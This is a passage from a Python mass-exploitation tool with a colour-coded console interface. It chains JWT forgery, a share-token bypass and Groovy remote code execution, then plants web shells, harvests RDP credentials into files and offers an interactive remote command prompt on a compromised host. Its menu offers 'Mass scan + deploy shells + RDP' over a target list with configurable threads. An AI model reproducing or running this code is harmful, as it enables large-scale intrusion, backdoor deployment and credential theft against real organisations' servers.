            elif st == "aj": ct["aj"] += 1
            elif st == "err": ct["err"] += 1
            else: ct["skip"] += 1

            if res.get("domain_shells"):
                for ds in res["domain_shells"]:
                    ct["dom"] += 1
                    with lock: f_dom.write(f"{t} | {ds}\n"); f_dom.flush()
                    ok(f"{_c('DOM',ICE,True)}   {_c(ds,WHT,True)}")

            if res.get("rdp"):
                ct["rdp"] += 1
                rp = res["rdp"].split("|")
                rdp_line = f"{t} | USER:{rp[0]} | PASS:{rp[1]} | PORT:{rp[2]}" if len(rp) >= 3 else f"{t} | {res['rdp']}"
                if len(rp) >= 6: rdp_line += f" | PUB:{rp[3]} | LAN:{rp[4]} | HOST:{rp[5]}"
                with lock: f_rdp.write(rdp_line+"\n"); f_rdp.flush()
                ok(f"{_c('RDP',PUR,True)}   {_c(hs,WHT)}  {_c(rp[0] if rp else res['rdp'][:30],ICE)}")

            extra = f"SH:{_c(str(ct['shell']),GRN,True)} DOM:{_c(str(ct['dom']),ICE)} RCE:{_c(str(ct['rce']),AMB,True)} RDP:{_c(str(ct['rdp']),PUR)} AJ:{ct['aj']} S:{ct['skip']} E:{ct['err']}"
            bar(ct["done"],total,extra)

    f_rce.close(); f_shell.close(); f_rdp.close(); f_dom.close()
    print("\n")
    _sep = _c("\u2500"*50, DIM)
    print(f"  {_sep}")
    info(f"{_c('SCAN COMPLETE',WHT,True)}  {ct['done']}/{total}")
    print(f"  {_sep}")
    info(f"  SHELLS     {_c(str(ct['shell']),GRN,True)}")
    info(f"  RCE TOTAL  {_c(str(ct['rce']),AMB,True)}")
    info(f"  RDP        {_c(str(ct['rdp']),PUR,True)}")
    info(f"  DOMAINS    {_c(str(ct['dom']),ICE,True)}")
    info(f"  AJ DETECT  {ct['aj']}   SKIP {ct['skip']}   ERR {ct['err']}")
    print(f"  {_sep}")
    if ct["dom"]:   ok(f"Domains -> {_c(os.path.join(od,'Nx_domains_shells.txt'),WHT,True)}")
    if ct["shell"]: ok(f"Shells  -> {_c(os.path.join(od,'Nx_shellS.txt'),WHT,True)}")
    if ct["rce"]:   ok(f"RCE     -> {_c(os.path.join(od,'Nx_RCE.txt'),WHT,True)}")
    if ct["rdp"]:   ok(f"RDP     -> {_c(os.path.join(od,'Nx_RDPs.txt'),WHT,True)}")
    ok(f"Creds   -> {_c(os.path.join(od,'Pass.txt'),WHT,True)}")
    print()


def exploit_single(target):
    host,port,use_ssl,prefix = _parse_url(target)
    info(f"Target   {_c(f'{host}:{port}',WHT,True)}")
    info(f"Chain    {_c('JWT Forgery -> Share-Token Bypass -> Groovy RCE -> Recon -> Deploy -> Verify -> RDP',P1,True)}")
    print()
    res = full_exploit(host,port,use_ssl,prefix,verbose=True)
    print()

    summary = []
    if res["shell_url"]: summary.append(f"Shell: {_c(res['shell_url'],GRN,True)}")
    if res.get("domain_shells"):
        for ds in res["domain_shells"]:
            summary.append(f"Domain Shell: {_c(ds,ICE,True)}")
    if res["rdp"]:
        rp = res["rdp"].split("|")
        if len(rp) >= 6: summary.append(f"RDP: {_c(rp[0],PUR,True)} @ {_c(rp[3]+':'+rp[2],ICE,True)}")
    if summary:
        print(f"  {_c(chr(0x2500)*40,DIM)}")
        for s in summary: ok(s)
        print(f"  {_c(chr(0x2500)*40,DIM)}")
    print()

    if res["status"] in ("rce","shell"):
        is_win = "win" in res.get("os","").lower()
        info(f"Interactive CMD ({_c('exit',RED)} to quit)")
        while True:
            try: cmd = input(f"  {_c('nx',P1,True)}@{_c(host,PUR)} > ").strip()
            except (KeyboardInterrupt,EOFError): print(); break
            if not cmd or cmd.lower() in ("exit","quit","q"): break
            groovy = _groovy_cmd(cmd, is_win)
            _,_,resp = send_exploit(host,port,use_ssl,prefix,groovy,timeout=20)
            out = _extract_nx(resp)
            if out: print(f"  {out}")
            else: warn("No output")


def main():
    enable_ansi(); show_banner()
    print(f"  {_c(chr(0x25b6),P1,True)} {_c('1',WHT,True)}  {_c('SCAN',GRN,True)}     Mass scan + deploy shells + RDP")
    print(f"  {_c(chr(0x25b6),P1,True)} {_c('2',WHT,True)}  {_c('EXPLOIT',AMB,True)}  Single target full chain + interactive CMD")
    print()
    try: mode = input(f"  {_c(chr(0x25b8),P1,True)} Mode: ").strip()
    except (KeyboardInterrupt,EOFError): return

    if mode == "1":
        print()
        try:
            lp = input(f"  {_c(chr(0x25b8),P1,True)} Target list: ").strip()
            th = input(f"  {_c(chr(0x25b8),P1,True)} Threads [{_c('10',DIM)}]: ").strip()
        except (KeyboardInterrupt,EOFError): return
        threads = int(th) if th.isdigit() and int(th) > 0 else 10
        if not os.path.isfile(lp): err(f"Not found: {lp}"); return
        print(); scan_mode(lp, threads)
    elif mode == "2":
        print()
        try: target = input(f"  {_c(chr(0x25b8),P1,True)} Target URL: ").strip()
        except (KeyboardInterrupt,EOFError): return
        if not target: err("No target"); return
        print(); exploit_single(target)
    else: err("Invalid mode")

if __name__ == "__main__":
    main()